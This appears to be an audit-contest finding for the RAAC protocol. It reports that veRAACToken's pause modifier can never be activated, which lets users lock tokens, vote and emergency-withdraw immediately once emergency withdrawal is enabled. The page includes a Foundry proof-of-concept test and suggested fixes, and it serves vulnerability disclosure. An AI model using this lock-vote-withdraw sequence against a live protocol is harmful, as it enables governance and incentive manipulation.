Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: low
Valid

Missing Pause Functionality in veRAACToken Contract Can Be Abused When Emergency Withdrawal Mechanism Is Activated

Summary

The veRAACToken contract implements a whenNotPaused modifier and maintains a paused state variable, but lacks any functionality to actually pause the contract. This creates a misleading security control that can never be activated.

It also creates an attack vector when the emergency flow gets activated because it allows malicious users to mint veRAACTokens without maintaining the required token lock period anymore.

This completely undermines the vote escrow tokenomics and can be exploited to manipulate governance votes and gauge weights across the protocol.

Vulnerability Details

The vulnerability stems from two key issues:

  1. There is no pause functionality to prevent new locks during emergency situations.

  2. The emergency withdrawal mechanism allows immediate withdrawals once enabled.

The contract includes:

  • A paused state variable:

bool public paused;
  • A whenNotPaused modifier that checks this variable:

modifier whenNotPaused() {
if (paused) revert ContractPaused();
_;
}
  • This modifier is applied to critical functions like:

    • lock()

    • increase()

    • extend()

However, there are no functions to set the paused state variable, making the pause functionality effectively useless. This means that even in emergency situations, these functions cannot be paused as intended by the modifier's presence.

Now when the emergency withdrawal mechanism gets activated an attacker can call lock() to get veRAACTokens then use these tokens for voting and immediatly withdraw:

function emergencyWithdraw() external nonReentrant {
if (emergencyWithdrawDelay == 0 || block.timestamp < emergencyWithdrawDelay) {
revert EmergencyWithdrawNotEnabled();
}
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
if (userLock.amount == 0) revert NoTokensLocked();
uint256 amount = userLock.amount;
uint256 currentPower = balanceOf(msg.sender);
delete _lockState.locks[msg.sender];
delete _votingState.points[msg.sender];
_burn(msg.sender, currentPower);
// Attack gets raac tokens back
@> raacToken.safeTransfer(msg.sender, amount);
emit EmergencyWithdrawn(msg.sender, amount);
}

Exploit Scenario:

  1. Emergency withdrawal gets enabled by admin

  2. Eve calls lock() with large amount of RAAC tokens

  3. Eve votes on Gauges / Governance Proposals

  4. Eve alls emergencyWithdraw() to retrieve her RAAC tokens back

PoC

In order to run the test you need to:

  1. Run foundryup to get the latest version of Foundry

  2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

  4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

  5. Run npx hardhat init-foundry

  6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

  7. Create a new folder test/foundry

  8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

  9. Run the test: forge test --mc FoundryTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "../../contracts/mocks/core/tokens/ERC20Mock.sol";
import {GaugeController} from "../../contracts/core/governance/gauges/GaugeController.sol";
import {RAACGauge} from "../../contracts/core/governance/gauges/RAACGauge.sol";
import {RWAGauge} from "../../contracts/core/governance/gauges/RWAGauge.sol";
import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";
import {IGaugeController} from "../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
contract FoundryTest is Test {
// Contracts
ERC20Mock public raacToken;
ERC20Mock public stakingToken;
ERC20Mock public rewardToken;
veRAACToken public veToken;
GaugeController public controller;
RAACGauge public raacGauge;
RWAGauge public rwaGauge;
// Test addresses
address public admin = address(this);
address public alice = address(0x1);
address public bob = address(0x2);
address public carol = address(0x3);
// Constants
uint256 public constant INITIAL_SUPPLY = 1_000_000e18;
uint256 public constant LOCK_AMOUNT = 100_000e18;
uint256 public constant YEAR = 365 days;
function setUp() public {
// Deploy mock tokens
raacToken = new ERC20Mock("RAAC Token", "RAAC");
rewardToken = new ERC20Mock("Reward Token", "RWD");
// Deploy veToken
veToken = new veRAACToken(address(raacToken));
// Deploy controller
controller = new GaugeController(address(veToken));
// Deploy gauges
raacGauge = new RAACGauge(address(rewardToken), address(veToken), address(controller));
rwaGauge = new RWAGauge(address(rewardToken), address(veToken), address(controller));
// Setup initial token balances
raacToken.mint(alice, INITIAL_SUPPLY);
raacToken.mint(bob, INITIAL_SUPPLY);
rewardToken.mint(address(controller), INITIAL_SUPPLY * 10);
// Add gauges to controller
vm.startPrank(admin);
controller.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 0);
controller.addGauge(address(rwaGauge), IGaugeController.GaugeType.RWA, 0);
vm.stopPrank();
// Setup approvals
vm.startPrank(alice);
raacToken.approve(address(veToken), type(uint256).max);
veToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
vm.startPrank(bob);
raacToken.approve(address(veToken), type(uint256).max);
veToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
}
function test_veRaacEmergencyDelay() public {
vm.startPrank(admin);
veToken.scheduleEmergencyAction(keccak256("enableEmergencyWithdraw"));
vm.warp(block.timestamp + veToken.EMERGENCY_DELAY() + 1);
veToken.enableEmergencyWithdraw();
vm.stopPrank();
vm.warp(block.timestamp + veToken.EMERGENCY_DELAY() + 1);
// now alice locks tokens
vm.startPrank(alice);
veToken.lock(LOCK_AMOUNT, YEAR);
//! Vote on gauges / proposals
// Then exit position
veToken.emergencyWithdraw();
vm.stopPrank();
}
}

Impact

  • Complete bypass of the vote escrow locking mechanism

  • Manipulation of protocol governance through artificial voting power

  • Exploitation of gauge weights to redirect protocol incentives

    The fundamental tokenomics of vote escrow tokens rely on users having to lock tokens long-term to gain voting power. This vulnerability completely undermines that mechanism.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Either:

  • Implement proper pause functionality:

contract veRAACToken is ERC20, Ownable, ReentrancyGuard, Pausable {
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
}
  • Automatically pause new locks when emergency withdrawal is enabled:

function enableEmergencyWithdraw() external onlyOwner withEmergencyDelay(EMERGENCY_WITHDRAW_ACTION) {
emergencyWithdrawDelay = block.timestamp + EMERGENCY_DELAY;
_pause(); // Prevent new locks
emit EmergencyWithdrawEnabled(emergencyWithdrawDelay);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken lacks the ability to configure `paused` variable

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!